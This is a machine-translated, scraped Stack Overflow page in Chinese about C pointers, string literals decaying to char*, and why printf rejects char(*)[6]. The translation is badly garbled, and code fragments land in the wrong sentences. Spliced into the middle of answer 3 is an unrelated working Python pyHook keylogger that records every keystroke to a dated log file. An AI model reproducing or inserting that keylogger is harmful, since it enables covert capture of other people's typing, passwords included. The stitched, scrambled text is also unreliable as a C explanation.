关于SO的指针以及互联网上无数的资源,有无数的问题,但我仍然无法理解这一点。
This answer引用A Tutorial on Pointers and Arrays in C: Chapter 3 - Pointers and Strings:
int puts(const char *s);
目前,忽略const。传递给
puts()
的参数是一个指针,它是一个指针的值(因为C中的所有参数都是按值传递的),而指针的值是它指向的地址,或者简单地说,一个地址。因此,当我们看到puts(strA);
时,我们正在传递strA[0]
的地址。
我根本不明白这一点。
为什么puts()
需要指针到字符串常量? puts()
没有修改并返回其参数,只需将其写入stdout
,然后丢弃该字符串。
忽略为什么,puts()
原型是什么,明确将指针带到字符串常量,接受一个字符串文字,而不是一个指针?也就是说,当puts("hello world");
的原型表明puts()
需要更像puts()
的内容时,为什么char hello[] = "hello world"; puts(&hello);
有效?
例如,如果您将printf()
指针提供给字符串常量,这显然是它想要的,GCC会抱怨并且您的程序会出现段错误,因为:
error: format ‘%s’ expects argument of type ‘char *’, but argument 2 has type ‘char (*)[6]’
但是给printf()
一个字符串常量,而不是指向字符串的指针,工作正常。
This Programmers.SE question's answers对我很有意义。
关于那个问题的答案,指针只是代表记忆中位置的数字。内存地址的数字是无符号整数,C是用(本机)C和汇编语言编写的,因此指针只是架构定义的uint
。
但事实并非如此,因为编译器非常明确地指出int
,int *
和int **
的相同错误。它们是最终指向记忆中某种东西的途径。
为什么需要指针的函数接受不指针的内容,而拒绝指针?
我知道"字符串常量"实际上是一个字符数组,但我在这里试图简化。
答案 0 :(得分:4)
表达式"hello world"
的类型为char[12]
。
在大多数情况下,使用数组会转换为指向其第一个元素的指针:在"hello world"
的情况下,它会转换为指向'h'
的指针,类型为char*
}。
使用puts("Hello world")
时,数组会转换为char*
。
请注意,从特定大小的数组转换会丢失大小信息。
char array[42];
printf("size of array is %d\n", (int)sizeof array);
printf("size of pointer is %d\n", (int)sizeof &array[0]);
答案 1 :(得分:3)
puts()
不需要指向字符串的指针,它需要指向字符(*
)的指针(char
)。碰巧在C中,指向字符(char *
)的指针可以被同化为字符串(字符数组),前提是字符串的结尾是空字符\0
。
答案 2 :(得分:2)
其中有几个问题,但希望我可以说明指针的指针是如何工作的。
puts
需要指针的原因是C实际上没有字符串的内置类型。字符串只是一堆char
一个接一个。因此,puts
需要一个指向第一个字符的指针。
字符串文字,"优雅降级"指针。这是一个花哨的编译器,这意味着字符串文字实际上是一串字符,并由指向第一个char
的指针表示。
你需要一个指向类型指针的指针,例如,如果你想要"返回"来自函数的数组,如下:
bool magic_super_function(int frob, int niz, char** imageptr /* pointer to pointer */)
{
char* img = malloc(frob * niz * IMAGE_DEPTH);
if (NULL == ptr) {
return false;
}
*imageptr = img;
return true;
}
有时一个例子(甚至做作)可以说明一点。你会打电话 这个函数是这样的:
char* img; /* pointer to char */
if (true == magic_super_function(12, 8, &img /* pointer to pointer (to char)*/ )) {
/* Here img is valid and allocated */
/* Do something with img */
} else {
/* img has no valid value here. Do not use it. */
/* Something failed */
}
答案 3 :(得分:2)
int
与int*
不同,因为它将在代码中使用。您可以访问int*
指向的内存位置并查找整数值。这被称为“强类型”#39;并且语言执行此操作,以便对使用变量的方式有严格的规定。因此,即使int
和int*
可能都是相同的大小,int
也不能用作指针。类似地,int**
是指向指针的指针,因此必须取消引用两次才能找到它引用的实际整数值。
在puts(const char*)
的示例中,函数的定义告诉您函数需要一个内存位置(指针)到一组以空值终止的char
值。执行此操作时,puts
将取消引用您提供的位置,并打印在那里找到的字符。 const
部分告诉您它不会更改值,以便向const
char
数组发送puts("hello")
数组是安全的。当您发送像printf
这样的文字字符串时,编译器会将其转换为指向" hello"的指针。为方便起见,所以仍然发送指针(不是字符串的副本)。
关于char*
的问题,请注意char*[6]
和char
不同。第一个指示指向以null结尾的字符串的指针,其中第二个是指向一组正好六个puts(&hello)
值的指针,这些值可能不是以空值终止的。编译器会抱怨,因为如果 import pythoncom, pyHook
import time
from time import strftime,localtime
def OKBE(event):
log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
f=open(str(log),"a")
if(str(event.Ascii)=="8"):
f.write("<--")
print("<--")
elif(str(event.Ascii)=="13"):
f.write("\nENTER "+str(time.strftime("%H,%M",localtime()))+"\n")
print("\nENTER\n")
elif(str(event.Ascii)=="32"):
f.write(" ")
else:
f.write(chr(event.Ascii))
print(str(event.Ascii))
print(chr(event.Ascii))
manager = pyHook.HookManager()
manager.KeyDown = OKBE
manager.HookKeyboard()
pythoncom.PumpMessages()
试图将输入参数视为以空字符结尾的字符串,那么它在数组长度之后就不会停止,并且会访问不应该存在的内存。
答案 4 :(得分:2)
为什么
puts()
需要一个指向字符串常量的指针?puts()
没有修改并返回其参数,只是将其写入stdout,然后丢弃该字符串。
puts
收到指向字符串中第一个字符的指针;然后它会走路&#34;直到它看到0终止符为止。一个天真的实现看起来像这样:
void puts( const char *ptr )
{
while ( *ptr ) // loop until we see a 0-valued byte
putchar( *ptr++ ); // write the current character, advance the pointer
// to point to the next character in the string.
putchar( '\n' );
}
忽略原因,
puts()
的原型是什么,明确地采用指向字符串常量的指针,接受字符串文字,而不是指向一个字符串的指针?也就是说,当puts("hello world");
的原型表明puts()
需要更像puts()
的内容时,为什么char hello[] = "hello world"; puts(&hello);
有效?
除非它是sizeof
或一元&
运算符的操作数,或者是用于初始化声明中的另一个数组的字符串文字,否则表达式为类型&#34; T
&#34;的N元素数组;将被转换(&#34;衰减&#34;)到类型为&#34的表达式;指向T
&#34;的指针,并且表达式的值将是第一个元素的地址。阵列。
字符串文字存储为char
({+ 1}}在C ++中的数组);因此,字符串文字const char
是类型&#34; 12个元素数组"hello world"
&#34;的表达式。当您调用char
时,字符串文字不是puts( "hello world" );
或一元sizeof
运算符的操作数,因此表达式的类型将转换为&#34;指向{{1 }&#34;,表达式的值是字符串中第一个字符的地址。
例如,如果您给
&
一个指向字符串常量的指针,这显然是它想要的,GCC会抱怨并且您的程序会出现段错误,因为:
char
请记住上面我说的数组表达式转换为指针类型,除了,它是printf()
或一元error: format ‘%s’ expects argument of type ‘char *’, but argument 2 has type ‘char (*)[6]’
运算符的操作数或用于初始化另一个声明中的数组。假设声明
sizeof
如上所述,表达式&
具有类型为12个元素的char hello[] = "hello world";
数组;但是,因为它用于在声明中初始化另一个"hello world"
数组,所以它不会转换为指针表达式;相反,字符串文字的内容被复制到char
数组。
同样,如果您按以下方式致电char
:
hello
然后表达式printf
不转换为指向printf( "%s", &hello );
的指针;相反,表达式hello
的类型是&#34;指向 12个元素数组char
&#34;或&hello
的指针。由于char
转换说明符需要char (*)[12]
,因此您应该将数组表达式传递为
%s
并使用字符串文字,只需使用文字:
char *
关于那个问题的答案,指针只是代表记忆中位置的数字。内存地址的数字是无符号整数,C是用(本机)C和汇编语言编写的,因此指针只是架构定义的
printf( "%s", hello );
。但事实并非如此,因为编译器非常清楚
printf( "%s", "hello world" );
,uint
和int
的错误。它们是最终指向记忆中某种东西的途径。
C是(或多或少)强类型语言;类型重要。即使int *
,int **
和int
可能占用内存中的相同数量的空间 1 ,在语义上它们是非常不同的东西,并且(通常)不可互换。指向int *
的指针是与指向int **
的指针不同的类型,它是指向int
数组的指针的不同类型,等等。这对于像指针算术这样的事情很重要;当你写作
float
表达式char
使T *p = some_address();
p++;
前进,指向p++
类型的下一个对象。如果p
为1,则T
前进一个字节;如果sizeof (T)
为4,那么p++
前进4个字节(假设我们大多数人都在使用字节寻址架构)。
<小时/> 1。或不。不能保证指向不同类型的指针具有相同的大小或表示,也不能保证它们只是无符号整数;在分段体系结构上,它们可能具有更复杂的页:偏移表示。
答案 5 :(得分:1)
int ** r = 90; r是一个双指针,你指定90指针。取消引用时,它会尝试取消引用地址0x90。
答案 6 :(得分:1)
为什么
puts()
需要一个指向字符串常量的指针?
puts()
以这样的方式定义,以便它可以使用实际参数而不是复制它并重用它。因为它提高了性能。此外,它需要const
指针,因此它无法更改指针指向的内容。 通过引用致电 。
puts()
&#39}原型是如何显式获取指针的呢? 一个字符串常量,接受一个字符串文字,而不是一个指针?
传递字符串文字时,首先将字符串文字存储在只读内存中,然后实际传递指向该内存的指针。因此,您可以使用puts()
,puts("abcd")
等任何文字来呼叫puts("xyz")
。它会工作。
error: format ‘%s’ expects argument of type ‘char *’, but argument 2 has type ‘char (*)[6]’
此处您实际上是将指针传递给6 char
s 而不是char *
的数组。所以编译器会抱怨这个错误。